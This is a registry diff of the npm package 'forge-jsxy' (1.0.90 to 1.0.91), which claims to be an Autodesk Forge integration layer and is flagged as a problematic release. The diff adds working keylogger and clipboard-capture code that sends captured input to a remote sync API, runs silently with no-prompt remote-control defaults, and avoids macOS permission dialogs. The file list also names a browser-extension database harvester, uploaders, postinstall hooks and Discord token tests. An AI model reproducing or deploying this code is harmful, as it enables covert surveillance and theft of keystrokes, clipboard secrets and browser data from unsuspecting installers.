forge-jsxy 1.0.90 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of forge-jsxy might be problematic. Click here for more details.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRunner.js +96 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/relayAgent.js +13 -0
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
package/dist/windowsInputSync.js
CHANGED
|
@@ -1,8 +1,13 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.startWindowsInputSync = void 0;
|
|
4
|
+
exports.desktopSyncOpLog = desktopSyncOpLog;
|
|
5
|
+
exports.isTransientForgeDbSyncError = isTransientForgeDbSyncError;
|
|
6
|
+
exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
|
|
7
|
+
exports.skipUiohookKeyboard = skipUiohookKeyboard;
|
|
4
8
|
exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
|
|
5
9
|
exports.resolveSyncApiBase = resolveSyncApiBase;
|
|
10
|
+
exports.preferExecClipboardReader = preferExecClipboardReader;
|
|
6
11
|
exports.startDesktopInputSync = startDesktopInputSync;
|
|
7
12
|
/**
|
|
8
13
|
* Desktop clipboard + keyboard capture → forge-db HTTP sync (Windows, Linux, macOS).
|
|
@@ -76,7 +81,23 @@ const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
|
|
|
76
81
|
const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
|
|
77
82
|
const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
|
|
78
83
|
const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
|
|
79
|
-
|
|
84
|
+
const FLUSH_EVENT_MAX_RETRIES = 3;
|
|
85
|
+
const FLUSH_RETRY_BASE_MS = 150;
|
|
86
|
+
const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
|
|
87
|
+
const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
|
|
88
|
+
const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
|
|
89
|
+
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
90
|
+
function desktopSyncOpLog(message) {
|
|
91
|
+
console.log(`[forge-agent] desktop-sync: ${message}`);
|
|
92
|
+
}
|
|
93
|
+
/** True for network / overload errors where retrying forge-db POST is worthwhile. */
|
|
94
|
+
function isTransientForgeDbSyncError(err) {
|
|
95
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
96
|
+
return (/fetch failed|econnrefused|econnreset|etimedout|enotfound|eai_again|socket hang up|aborted|503|502|504|429|408|425/i.test(msg));
|
|
97
|
+
}
|
|
98
|
+
function sleepMs(ms) {
|
|
99
|
+
return new Promise((r) => setTimeout(r, ms));
|
|
100
|
+
}
|
|
80
101
|
function formatDesktopSyncHandshakeError(e) {
|
|
81
102
|
if (!(e instanceof Error))
|
|
82
103
|
return String(e);
|
|
@@ -99,43 +120,30 @@ function isDesktopPlatform() {
|
|
|
99
120
|
const p = process.platform;
|
|
100
121
|
return p === "win32" || p === "linux" || p === "darwin";
|
|
101
122
|
}
|
|
102
|
-
/**
|
|
103
|
-
function
|
|
123
|
+
/** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
|
|
124
|
+
function skipUiohookKeyboardReason() {
|
|
104
125
|
if ((process.env.FORGE_JS_FORCE_UIOHOOK || "").trim() === "1")
|
|
105
|
-
return
|
|
106
|
-
if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1")
|
|
107
|
-
return
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
// Skip keyboard monitoring by default on macOS to avoid any UI dialogs.
|
|
113
|
-
// Users who have already granted Accessibility permission can opt-in with:
|
|
114
|
-
// FORGE_JS_FORCE_UIOHOOK=1
|
|
115
|
-
// Clipboard sync continues to work normally (via pbpaste poll + clipboard-event).
|
|
116
|
-
if (process.platform === "darwin")
|
|
117
|
-
return true;
|
|
126
|
+
return null;
|
|
127
|
+
if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1") {
|
|
128
|
+
return "FORGE_JS_SKIP_UIOHOOK=1";
|
|
129
|
+
}
|
|
130
|
+
if (process.platform === "darwin") {
|
|
131
|
+
return "macOS (keyboard needs Accessibility — clipboard via pbpaste works without it; set FORGE_JS_FORCE_UIOHOOK=1 to opt in)";
|
|
132
|
+
}
|
|
118
133
|
if (process.platform === "linux") {
|
|
119
134
|
const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
|
|
120
135
|
const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
|
|
121
|
-
if (!hasDisplay && !hasWayland)
|
|
122
|
-
return
|
|
123
|
-
|
|
124
|
-
if (!hasDisplay && hasWayland)
|
|
125
|
-
return
|
|
126
|
-
|
|
127
|
-
//
|
|
128
|
-
//
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
if (hasDisplay && hasWayland)
|
|
133
|
-
return true;
|
|
134
|
-
if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)())
|
|
135
|
-
return true;
|
|
136
|
-
// Verify we can actually communicate with the X11 server — systemd user services may
|
|
137
|
-
// have DISPLAY=:0 set in EnvironmentFile but lack X11 auth cookies (Xauthority),
|
|
138
|
-
// which causes uiohook/libuiohook to print errors and abort keyboard capture.
|
|
136
|
+
if (!hasDisplay && !hasWayland) {
|
|
137
|
+
return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
|
|
138
|
+
}
|
|
139
|
+
if (!hasDisplay && hasWayland) {
|
|
140
|
+
return "Wayland-only session (keyboard needs X11 or FORGE_JS_FORCE_UIOHOOK=1)";
|
|
141
|
+
}
|
|
142
|
+
// When both are set, XWayland is usually available — fall through to socket/xset checks
|
|
143
|
+
// instead of skipping keyboard outright (maximizes capture without extra OS permissions).
|
|
144
|
+
if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
145
|
+
return "DISPLAY set but no X11 socket (keyboard skipped; clipboard sync unchanged)";
|
|
146
|
+
}
|
|
139
147
|
if (hasDisplay) {
|
|
140
148
|
try {
|
|
141
149
|
const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
|
|
@@ -143,15 +151,20 @@ function skipUiohookKeyboard() {
|
|
|
143
151
|
timeout: 2000,
|
|
144
152
|
env: process.env,
|
|
145
153
|
});
|
|
146
|
-
if (r.status !== 0 || r.error)
|
|
147
|
-
return
|
|
154
|
+
if (r.status !== 0 || r.error) {
|
|
155
|
+
return "X11 server unreachable (xset q failed — keyboard skipped)";
|
|
156
|
+
}
|
|
148
157
|
}
|
|
149
158
|
catch {
|
|
150
|
-
return
|
|
159
|
+
return "X11 tools unavailable (keyboard skipped)";
|
|
151
160
|
}
|
|
152
161
|
}
|
|
153
162
|
}
|
|
154
|
-
return
|
|
163
|
+
return null;
|
|
164
|
+
}
|
|
165
|
+
/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
|
|
166
|
+
function skipUiohookKeyboard() {
|
|
167
|
+
return skipUiohookKeyboardReason() !== null;
|
|
155
168
|
}
|
|
156
169
|
/**
|
|
157
170
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
@@ -166,11 +179,37 @@ function effectiveSyncKeyboardClipboard() {
|
|
|
166
179
|
function resolveSyncApiBase() {
|
|
167
180
|
return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
|
|
168
181
|
}
|
|
182
|
+
/**
|
|
183
|
+
* Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
|
|
184
|
+
* returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
|
|
185
|
+
*/
|
|
186
|
+
function preferExecClipboardReader() {
|
|
187
|
+
return (process.platform === "linux" &&
|
|
188
|
+
Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
|
|
189
|
+
}
|
|
169
190
|
async function readClipboardDesktop() {
|
|
170
|
-
const
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
191
|
+
const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
|
|
192
|
+
let timeoutId;
|
|
193
|
+
try {
|
|
194
|
+
return await Promise.race([
|
|
195
|
+
(async () => {
|
|
196
|
+
if (preferExecClipboardReader()) {
|
|
197
|
+
return (0, clipboardExec_1.readClipboardViaExec)();
|
|
198
|
+
}
|
|
199
|
+
const native = (0, clipboardNapi_1.readClipboardNapi)();
|
|
200
|
+
if (native !== null)
|
|
201
|
+
return native;
|
|
202
|
+
return (0, clipboardExec_1.readClipboardViaExec)();
|
|
203
|
+
})(),
|
|
204
|
+
new Promise((_, reject) => {
|
|
205
|
+
timeoutId = setTimeout(() => reject(new Error(`clipboard read timeout after ${timeoutMs}ms`)), timeoutMs);
|
|
206
|
+
}),
|
|
207
|
+
]);
|
|
208
|
+
}
|
|
209
|
+
finally {
|
|
210
|
+
if (timeoutId !== undefined)
|
|
211
|
+
clearTimeout(timeoutId);
|
|
212
|
+
}
|
|
174
213
|
}
|
|
175
214
|
function clampText(s) {
|
|
176
215
|
const b = Buffer.byteLength(s, "utf8");
|
|
@@ -254,12 +293,15 @@ function startDesktopInputSync(opts) {
|
|
|
254
293
|
if (!opts.quiet)
|
|
255
294
|
console.error(`[forge-js:desktop-sync] ${msg}`);
|
|
256
295
|
};
|
|
296
|
+
const opLog = (msg) => {
|
|
297
|
+
desktopSyncOpLog(msg);
|
|
298
|
+
};
|
|
257
299
|
function enqueue(ev) {
|
|
258
300
|
while (queue.length >= MAX_SYNC_QUEUE) {
|
|
259
301
|
queue.shift();
|
|
260
|
-
if (!queueDropLogged
|
|
302
|
+
if (!queueDropLogged) {
|
|
261
303
|
queueDropLogged = true;
|
|
262
|
-
|
|
304
|
+
opLog("sync queue saturated; dropping oldest events (API slow or unreachable)");
|
|
263
305
|
}
|
|
264
306
|
}
|
|
265
307
|
queue.push(ev);
|
|
@@ -319,18 +361,14 @@ function startDesktopInputSync(opts) {
|
|
|
319
361
|
await client.createEvent((0, syncClient_1.registrationHandshakeEvent)());
|
|
320
362
|
registrationHandshakeReady = true;
|
|
321
363
|
registrationHandshakeAttempts = 0;
|
|
364
|
+
opLog("registration handshake OK (client table ready)");
|
|
322
365
|
}
|
|
323
366
|
catch (e) {
|
|
324
367
|
const now = Date.now();
|
|
325
368
|
if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
|
|
326
369
|
lastRegistrationHandshakeLogMs = now;
|
|
327
370
|
const detail = formatDesktopSyncHandshakeError(e);
|
|
328
|
-
|
|
329
|
-
// First attempts commonly race during service restarts; avoid noisy error-level spam.
|
|
330
|
-
if (registrationHandshakeAttempts <= 3)
|
|
331
|
-
console.log(msg);
|
|
332
|
-
else
|
|
333
|
-
console.error(msg);
|
|
371
|
+
opLog(`registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`);
|
|
334
372
|
}
|
|
335
373
|
scheduleRegistrationHandshake();
|
|
336
374
|
return;
|
|
@@ -372,13 +410,27 @@ function startDesktopInputSync(opts) {
|
|
|
372
410
|
}, inventoryIntervalMs);
|
|
373
411
|
}
|
|
374
412
|
let clipReadBusy = false;
|
|
413
|
+
let clipReadFailures = 0;
|
|
414
|
+
let lastClipFailLogMs = 0;
|
|
415
|
+
/** Set when a change notification arrives during an in-flight read — drained in finally. */
|
|
416
|
+
let clipReadPending = false;
|
|
417
|
+
/** Incremented per read attempt so late/ timed-out reads cannot enqueue stale clipboard text. */
|
|
418
|
+
let clipReadSeq = 0;
|
|
375
419
|
function triggerClipboardRead() {
|
|
376
|
-
if (stopped
|
|
420
|
+
if (stopped)
|
|
421
|
+
return;
|
|
422
|
+
if (clipReadBusy) {
|
|
423
|
+
clipReadPending = true;
|
|
377
424
|
return;
|
|
425
|
+
}
|
|
378
426
|
clipReadBusy = true;
|
|
427
|
+
const seq = ++clipReadSeq;
|
|
379
428
|
void (async () => {
|
|
380
429
|
try {
|
|
381
430
|
const s = await readClipboardDesktop();
|
|
431
|
+
if (stopped || seq !== clipReadSeq)
|
|
432
|
+
return;
|
|
433
|
+
clipReadFailures = 0;
|
|
382
434
|
if (s === lastClip)
|
|
383
435
|
return;
|
|
384
436
|
lastClip = s;
|
|
@@ -404,31 +456,54 @@ function startDesktopInputSync(opts) {
|
|
|
404
456
|
context_json: contextJson,
|
|
405
457
|
});
|
|
406
458
|
}
|
|
407
|
-
catch {
|
|
408
|
-
|
|
459
|
+
catch (e) {
|
|
460
|
+
if (stopped || seq !== clipReadSeq)
|
|
461
|
+
return;
|
|
462
|
+
clipReadFailures++;
|
|
463
|
+
const now = Date.now();
|
|
464
|
+
if (now - lastClipFailLogMs >= CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS) {
|
|
465
|
+
lastClipFailLogMs = now;
|
|
466
|
+
opLog(`clipboard read failed (${clipReadFailures} consecutive): ${formatDesktopSyncHandshakeError(e)}`);
|
|
467
|
+
}
|
|
409
468
|
}
|
|
410
469
|
finally {
|
|
470
|
+
if (seq !== clipReadSeq)
|
|
471
|
+
return;
|
|
411
472
|
clipReadBusy = false;
|
|
473
|
+
if (clipReadPending && !stopped) {
|
|
474
|
+
clipReadPending = false;
|
|
475
|
+
triggerClipboardRead();
|
|
476
|
+
}
|
|
412
477
|
}
|
|
413
478
|
})();
|
|
414
479
|
}
|
|
480
|
+
void (async () => {
|
|
481
|
+
try {
|
|
482
|
+
await readClipboardDesktop();
|
|
483
|
+
opLog("clipboard probe OK");
|
|
484
|
+
}
|
|
485
|
+
catch (e) {
|
|
486
|
+
opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
|
|
487
|
+
}
|
|
488
|
+
})();
|
|
415
489
|
const clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
|
|
416
490
|
triggerClipboardRead();
|
|
417
|
-
},
|
|
491
|
+
}, opLog);
|
|
418
492
|
const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
|
|
419
493
|
const clipIv = setInterval(() => {
|
|
420
494
|
triggerClipboardRead();
|
|
421
495
|
}, effectiveClipPoll);
|
|
422
496
|
let uiohookMod = null;
|
|
423
|
-
|
|
424
|
-
|
|
497
|
+
const keyboardSkipReason = skipUiohookKeyboardReason();
|
|
498
|
+
if (keyboardSkipReason) {
|
|
499
|
+
opLog(`keyboard hook skipped (${keyboardSkipReason}). Clipboard sync unchanged.`);
|
|
425
500
|
}
|
|
426
501
|
else {
|
|
427
502
|
try {
|
|
428
503
|
uiohookMod = require("uiohook-napi");
|
|
429
504
|
}
|
|
430
505
|
catch {
|
|
431
|
-
|
|
506
|
+
opLog("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
|
|
432
507
|
}
|
|
433
508
|
}
|
|
434
509
|
if (uiohookMod) {
|
|
@@ -486,28 +561,87 @@ function startDesktopInputSync(opts) {
|
|
|
486
561
|
uIOhook.on("keydown", onKey);
|
|
487
562
|
try {
|
|
488
563
|
uIOhook.start();
|
|
564
|
+
opLog("keyboard hook started");
|
|
489
565
|
}
|
|
490
566
|
catch (e) {
|
|
491
|
-
|
|
567
|
+
opLog(`uIOhook.start failed: ${e}`);
|
|
492
568
|
}
|
|
493
569
|
}
|
|
570
|
+
opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, api=${opts.apiBaseUrl})`);
|
|
494
571
|
let flushBusy = false;
|
|
572
|
+
let flushFailStreak = 0;
|
|
573
|
+
let lastFlushFailLogMs = 0;
|
|
574
|
+
async function postEventWithRetry(ev) {
|
|
575
|
+
let lastErr;
|
|
576
|
+
for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
|
|
577
|
+
try {
|
|
578
|
+
await client.createEvent(ev);
|
|
579
|
+
flushFailStreak = 0;
|
|
580
|
+
return;
|
|
581
|
+
}
|
|
582
|
+
catch (e) {
|
|
583
|
+
lastErr = e;
|
|
584
|
+
if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
|
|
585
|
+
isTransientForgeDbSyncError(e)) {
|
|
586
|
+
await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
|
|
587
|
+
continue;
|
|
588
|
+
}
|
|
589
|
+
throw e;
|
|
590
|
+
}
|
|
591
|
+
}
|
|
592
|
+
throw lastErr;
|
|
593
|
+
}
|
|
594
|
+
async function postBatchWithRetry(events) {
|
|
595
|
+
let lastErr;
|
|
596
|
+
for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
|
|
597
|
+
try {
|
|
598
|
+
await client.createEventsBatch(events);
|
|
599
|
+
flushFailStreak = 0;
|
|
600
|
+
return;
|
|
601
|
+
}
|
|
602
|
+
catch (e) {
|
|
603
|
+
lastErr = e;
|
|
604
|
+
if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
|
|
605
|
+
isTransientForgeDbSyncError(e)) {
|
|
606
|
+
await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
|
|
607
|
+
continue;
|
|
608
|
+
}
|
|
609
|
+
throw e;
|
|
610
|
+
}
|
|
611
|
+
}
|
|
612
|
+
throw lastErr;
|
|
613
|
+
}
|
|
495
614
|
const flushIv = setInterval(() => {
|
|
496
615
|
if (stopped || queue.length === 0 || flushBusy)
|
|
497
616
|
return;
|
|
498
617
|
flushBusy = true;
|
|
499
618
|
void (async () => {
|
|
500
619
|
try {
|
|
620
|
+
const batch = [];
|
|
501
621
|
let n = 0;
|
|
502
622
|
while (!stopped && queue.length > 0 && n < flushBatchMax) {
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
623
|
+
batch.push(queue.shift());
|
|
624
|
+
n++;
|
|
625
|
+
}
|
|
626
|
+
if (batch.length === 0)
|
|
627
|
+
return;
|
|
628
|
+
try {
|
|
629
|
+
if (batch.length >= 2) {
|
|
630
|
+
await postBatchWithRetry(batch);
|
|
507
631
|
}
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
632
|
+
else {
|
|
633
|
+
await postEventWithRetry(batch[0]);
|
|
634
|
+
}
|
|
635
|
+
}
|
|
636
|
+
catch (e) {
|
|
637
|
+
flushFailStreak++;
|
|
638
|
+
for (let i = batch.length - 1; i >= 0; i--) {
|
|
639
|
+
queue.unshift(batch[i]);
|
|
640
|
+
}
|
|
641
|
+
const now = Date.now();
|
|
642
|
+
if (now - lastFlushFailLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
|
|
643
|
+
lastFlushFailLogMs = now;
|
|
644
|
+
opLog(`forge-db flush failed (${flushFailStreak} streak, ${batch.length} event(s) re-queued): ${formatDesktopSyncHandshakeError(e)}`);
|
|
511
645
|
}
|
|
512
646
|
}
|
|
513
647
|
}
|
|
@@ -518,7 +652,7 @@ function startDesktopInputSync(opts) {
|
|
|
518
652
|
}, flushEvery);
|
|
519
653
|
const dispose = () => {
|
|
520
654
|
if (stopped)
|
|
521
|
-
return;
|
|
655
|
+
return Promise.resolve();
|
|
522
656
|
stopped = true;
|
|
523
657
|
if (activeDesktopInputSyncDispose === dispose) {
|
|
524
658
|
activeDesktopInputSyncDispose = null;
|
|
@@ -547,7 +681,32 @@ function startDesktopInputSync(opts) {
|
|
|
547
681
|
/* skip */
|
|
548
682
|
}
|
|
549
683
|
}
|
|
550
|
-
|
|
684
|
+
return (async () => {
|
|
685
|
+
await flushKbd();
|
|
686
|
+
const deadline = Date.now() + DISPOSE_FLUSH_TIMEOUT_MS;
|
|
687
|
+
while (queue.length > 0 && Date.now() < deadline) {
|
|
688
|
+
const batch = [];
|
|
689
|
+
while (queue.length > 0 && batch.length < flushBatchMax) {
|
|
690
|
+
batch.push(queue.shift());
|
|
691
|
+
}
|
|
692
|
+
if (batch.length === 0)
|
|
693
|
+
break;
|
|
694
|
+
try {
|
|
695
|
+
if (batch.length >= 2) {
|
|
696
|
+
await postBatchWithRetry(batch);
|
|
697
|
+
}
|
|
698
|
+
else {
|
|
699
|
+
await postEventWithRetry(batch[0]);
|
|
700
|
+
}
|
|
701
|
+
}
|
|
702
|
+
catch {
|
|
703
|
+
for (let i = batch.length - 1; i >= 0; i--) {
|
|
704
|
+
queue.unshift(batch[i]);
|
|
705
|
+
}
|
|
706
|
+
break;
|
|
707
|
+
}
|
|
708
|
+
}
|
|
709
|
+
})();
|
|
551
710
|
};
|
|
552
711
|
activeDesktopInputSyncDispose = dispose;
|
|
553
712
|
return dispose;
|
package/dist/workerBootstrap.js
CHANGED
|
@@ -145,6 +145,9 @@ function spawnDetachedAgent(autostartOpts, syncApiUrl, distDir, verbose) {
|
|
|
145
145
|
...process.env,
|
|
146
146
|
FORGE_JS_QUIET_AGENT: "1",
|
|
147
147
|
FORGE_JS_HEADLESS_UI: "1",
|
|
148
|
+
FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
|
|
149
|
+
FORGE_JS_REMOTE_CONTROL_NO_PROMPT: process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
|
|
150
|
+
CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
|
|
148
151
|
};
|
|
149
152
|
if (syncApiUrl?.trim()) {
|
|
150
153
|
const u = syncApiUrl.trim();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "forge-jsxy",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.91",
|
|
4
4
|
"description": "Node.js integration layer for Autodesk Forge",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"forgeAgentWebRtcMinVersion": "1.0.71",
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"pretest": "npm run build",
|
|
21
21
|
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
|
|
22
22
|
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
|
|
23
|
-
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs",
|
|
23
|
+
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
|
|
24
24
|
"test:env-local": "node --test test/env-local-integrations.mjs",
|
|
25
25
|
"verify": "npm run ci && npm run test:env-local",
|
|
26
26
|
"verify:production": "npm run ci",
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Resolve global forge-jsxy / legacy forge-jsx install roots for explorer control scripts.
|
|
3
|
+
*/
|
|
4
|
+
import * as fs from "node:fs";
|
|
5
|
+
import * as os from "node:os";
|
|
6
|
+
import * as path from "node:path";
|
|
7
|
+
|
|
8
|
+
export const FORGE_NPM_PKG = "forge-jsxy";
|
|
9
|
+
export const FORGE_LEGACY_NPM_PKG = "forge-jsx";
|
|
10
|
+
|
|
11
|
+
function defaultCfgmgrDataDir() {
|
|
12
|
+
const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
|
|
13
|
+
if (override) return path.resolve(override.replace(/^~/, os.homedir()));
|
|
14
|
+
if (process.platform === "win32") {
|
|
15
|
+
const lap = (process.env.LOCALAPPDATA || "").trim();
|
|
16
|
+
if (lap) return path.join(lap, "CfgMgr", "data");
|
|
17
|
+
const prof = (process.env.USERPROFILE || "").trim();
|
|
18
|
+
if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
|
|
19
|
+
return path.join(os.tmpdir(), "CfgMgr", "data");
|
|
20
|
+
}
|
|
21
|
+
if (process.platform === "darwin") {
|
|
22
|
+
return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
|
|
23
|
+
}
|
|
24
|
+
const xdg = (process.env.XDG_DATA_HOME || "").trim();
|
|
25
|
+
if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
|
|
26
|
+
return path.join(os.homedir(), ".local", "share", "cfgmgr");
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/** Durable runtime package root from `<CfgMgr>/.forge-jsxy/current.json` (npm-install-only agents). */
|
|
30
|
+
export function readDurableForgePackageRootFromDisk() {
|
|
31
|
+
try {
|
|
32
|
+
const cur = path.join(defaultCfgmgrDataDir(), ".forge-jsxy", "current.json");
|
|
33
|
+
if (!fs.existsSync(cur)) return null;
|
|
34
|
+
const j = JSON.parse(fs.readFileSync(cur, "utf8"));
|
|
35
|
+
const distDir = String(j.distDir ?? "").trim();
|
|
36
|
+
if (!distDir || !fs.existsSync(path.join(distDir, "cli-agent.js"))) return null;
|
|
37
|
+
const pkgRoot = path.resolve(distDir, "..");
|
|
38
|
+
return fs.existsSync(path.join(pkgRoot, "package.json")) ? pkgRoot : null;
|
|
39
|
+
} catch {
|
|
40
|
+
return null;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
|
|
46
|
+
*/
|
|
47
|
+
export function globalPackageRoot(npmSpawnSync, pkgName) {
|
|
48
|
+
const r = npmSpawnSync(["root", "-g"], false, {
|
|
49
|
+
timeout: 60_000,
|
|
50
|
+
captureStdout: true,
|
|
51
|
+
});
|
|
52
|
+
const root = (r.stdout || "").trim();
|
|
53
|
+
if (!root) return null;
|
|
54
|
+
const p = path.join(root, pkgName);
|
|
55
|
+
return fs.existsSync(path.join(p, "package.json")) ? p : null;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
|
|
59
|
+
export function globalForgeJsRoot(npmSpawnSync) {
|
|
60
|
+
return globalPackageRoot(npmSpawnSync, FORGE_NPM_PKG);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
|
|
64
|
+
export function globalLegacyForgeJsxRoot(npmSpawnSync) {
|
|
65
|
+
return globalPackageRoot(npmSpawnSync, FORGE_LEGACY_NPM_PKG);
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
/**
|
|
69
|
+
* Unique install roots: current global, legacy global, then optional script tree.
|
|
70
|
+
* @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
|
|
71
|
+
* @param {string} scriptRoot absolute package root when running from npx/npm exec
|
|
72
|
+
*/
|
|
73
|
+
export function collectForgeInstallRoots(npmSpawnSync, scriptRoot) {
|
|
74
|
+
const roots = [];
|
|
75
|
+
const durable = readDurableForgePackageRootFromDisk();
|
|
76
|
+
if (durable) roots.push(path.resolve(durable));
|
|
77
|
+
for (const g of [globalForgeJsRoot(npmSpawnSync), globalLegacyForgeJsxRoot(npmSpawnSync)]) {
|
|
78
|
+
if (g) roots.push(path.resolve(g));
|
|
79
|
+
}
|
|
80
|
+
